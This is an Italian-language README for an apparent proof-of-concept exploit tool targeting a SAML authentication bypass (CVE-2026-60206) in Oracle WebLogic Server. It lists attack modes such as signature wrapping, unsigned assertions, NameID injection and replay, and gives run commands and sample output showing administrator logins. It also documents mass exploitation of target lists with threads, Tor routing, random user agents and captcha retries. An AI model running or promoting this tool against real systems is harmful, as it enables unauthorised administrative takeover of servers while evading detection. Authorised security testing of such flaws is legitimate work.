
Analisi tecnica e Proof-of-Concept per CVE-2026-60206, una vulnerabilità critica di bypass dell'autenticazione SAML in Oracle WebLogic Server.
Questo repository fornisce un exploit proof-of-concept per CVE-2026-60206, una vulnerabilità critica di bypass dell'autenticazione nell'implementazione SAML di Oracle WebLogic Server. La falla consente a un attaccante remoto con privilegi bassi di compromettere completamente il server falsificando le asserzioni SAML.
⚠️ Disclaimer: Questo strumento è destinato esclusivamente a ricerca e test di sicurezza autorizzati. Usalo solo contro sistemi di tua proprietà o per i quali hai un'autorizzazione esplicita. Gli autori declinano ogni responsabilità per un uso improprio.
CVE-2026-60206 interessa il componente Core di Oracle WebLogic Server. La vulnerabilità deriva da una gestione impropria dell'autenticazione nell'implementazione del protocollo SAML. Molteplici vettori d'attacco — come XML Signature Wrapping (XSW), accettazione di asserzioni non firmate, manipolazione di NameID e bypass di audience/conditions — consentono a un attaccante di impersonare utenti arbitrari (ad es. weblogic) e ottenere accesso amministrativo.
Versioni interessate:
Il PoC implementa i seguenti vettori d'attacco:
WantAssertionsSigned non è applicato).AudienceRestriction per ampliare l'ambito.NotBefore/NotOnOrAfter per aggirare i controlli di validità.all, unsigned, xsw, nameid, audience, conditions, combo o replay.-l).-r).httpx se installato, altrimenti ripiega su requests (HTTP/1.1).git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Richiesti: requests, urllib3
Opzionali (migliorano le funzionalità):
httpx – per il supporto HTTP/2lxml – per un parsing SAML potenziatosignxml, cryptography – per la gestione delle firme (non richiesti per lo sfruttamento)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Description |
|---|---|
-t, --target TARGET | URL di un singolo target (ad es., https://host:7002). |
-l, --list LIST |
-l):| Flag | Description |
|---|---|
--exploit | Testa l'asserzione SAML non firmata (default: solo rilevamento). |
-T, --threads THREADS | Thread concorrenti (default: 10). |
| Flag | Description |
|---|---|
-v, --verbose | Aumenta la verbosità (output di debug). |
-q, --quiet |
detectEsegue il rilevamento della versione e il sondaggio degli endpoint SAML. Nessun attacco viene lanciato.
unsignedInietta un'asserzione SAML completamente non firmata. Se il target non applica WantAssertionsSigned, questo aggira completamente l'autenticazione.
Varianti: unsigned (default), unsigned_stripped (rimuove tutti i riferimenti alla firma).
xsw (XML Signature Wrapping)Posiziona un'asserzione non firmata dannosa prima (o a involucro di) un'asserzione firmata valida. Il processore SAML potrebbe selezionare la prima asserzione mentre il validatore della firma controlla quella firmata.
Varianti: xsw1 (prepend semplice), xsw2 (stesso ID dell'originale), xsw3 (wrapper annidato), xsw4 (sibling).
nameidManipola il campo NameID per confondere l'identity mapper di WebLogic, consentendo di impersonare un utente diverso.
Varianti: comment_injection, whitespace, format_confusion, xpath_injection.
audienceAggira i controlli di AudienceRestriction rimuovendo o modificando l'elemento audience.
Varianti: remove_audience, wildcard_audience, extra_audience.
conditionsAggira le restrizioni basate sul tempo (ad es., NotBefore, NotOnOrAfter).
Varianti: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboCombina XSW, asserzione non firmata e manipolazione di NameID in un unico payload – il vettore con maggiori probabilità di compromissione totale.
Varianti: combo_full (con iniezione di commenti), combo_stealth (con newline).
replayRiproduce una risposta SAML precedentemente catturata, modificando opzionalmente la destinazione o rimuovendo le restrizioni audience.
Varianti: replay_modified (regola Destination/Recipient), replay_cross_sp (rimuove le restrizioni audience).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Per testare questo PoC in sicurezza, configura un WebLogic Server con SAML abilitato e una delle versioni interessate. Ad esempio, puoi usare Docker:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
La configurazione SAML deve includere almeno un Service Provider SAML 2.0 con un endpoint ACS (ad es., /saml2/sp/acs) e i metadata pubblicati.
Questo progetto è concesso in licenza GNU v3.0 – consulta il file LICENSE per i dettagli.
Issue e pull request sono benvenuti. Assicurati che i tuoi contributi rispettino le stesse linee guida sull'uso etico.
Ricorda: Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi strumento di sicurezza. Rimani etico!
--save-payloads).-c / --check) – determina rapidamente se un target è vulnerabile (non exploit).| Flag | Description |
|---|
-h, --help | Mostra il messaggio di aiuto ed esci. |
--proxy PROXY | URL del proxy (sostituito da --tor se usato). |
--no-verify | Disabilita la verifica del certificato SSL. |
--cookie COOKIE | Cookie di sessione (ad es., name=value; name2=value2). |
--auth AUTH | Credenziali di autenticazione di base (USER:PASS). |
| File con elenco di target per scansione di massa, o singolo URL. |
-f, --file FILE | Alias di --list. |
| Flag | Description |
|---|
-r, --requestfile REQUESTFILE | Carica una richiesta HTTP grezza da file (sostituisce gli attacchi SAML). |
--method METHOD | Metodo HTTP da usare (per richiesta grezza o richiesta singola; default: GET). |
--random-agent | Usa uno User‑Agent casuale dall'elenco integrato. |
-A, --user-agent USER_AGENT | Valore personalizzato per l'header User‑Agent. |
--tor | Usa la rete di anonimato Tor (SOCKS5 di default). |
--tor-port TOR_PORT | Porta del proxy Tor (default: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tipo di proxy Tor (default: SOCKS5). |
--check-tor | Verifica che Tor sia usato correttamente (esce con un verdetto). |
--delay DELAY | Ritardo in secondi tra ogni richiesta. |
--timeout TIMEOUT | Timeout in secondi (default: 30). |
--retries RETRIES | Numero di tentativi in caso di timeout/errori (default: 3). |
--retry-on RETRY_ON | Ripeti la richiesta se il contenuto della risposta corrisponde alla regex (ad es., 'captcha'). |
-dr, --disable-redirects | Disabilita il seguito dei redirect HTTP. |
| Flag | Description |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Modalità d'attacco (default: all). |
--detect | Rileva solo la versione di WebLogic e la configurazione SAML (nessun attacco). |
-c, --check | Controllo rapido di vulnerabilità (solo rilevamento, esce con un verdetto). |
-u, --user USER | Utente target da impersonare (default: weblogic). |
--groups GROUPS | Gruppi da includere nell'asserzione SAML (default: Administrators,Monitors). |
--issuer ISSUER | ID entità dell'Issuer SAML. |
--audience AUDIENCE | ID entità dell'Audience SAML. |
--relay-state RELAY_STATE | Parametro RelayState per il POST SAML. |
--base64 | Codifica in Base64 la risposta SAML nel POST. |
--extra-attrs [NAME=VALUE ...] | Attributi SAML extra (ad es., role=admin). |
--replay-file REPLAY_FILE | Percorso della risposta SAML catturata per il replay. |
--save-payloads | Salva i payload SAML generati in ./payloads/. |
--continue-on-success | Continua i test dopo un attacco riuscito. |
| Sopprime l'output non essenziale. |
--list-modes | Elenca tutte le modalità d'attacco con descrizioni ed esce. |
-o, --output OUTPUT | Scrive il report JSON o CSV su file. |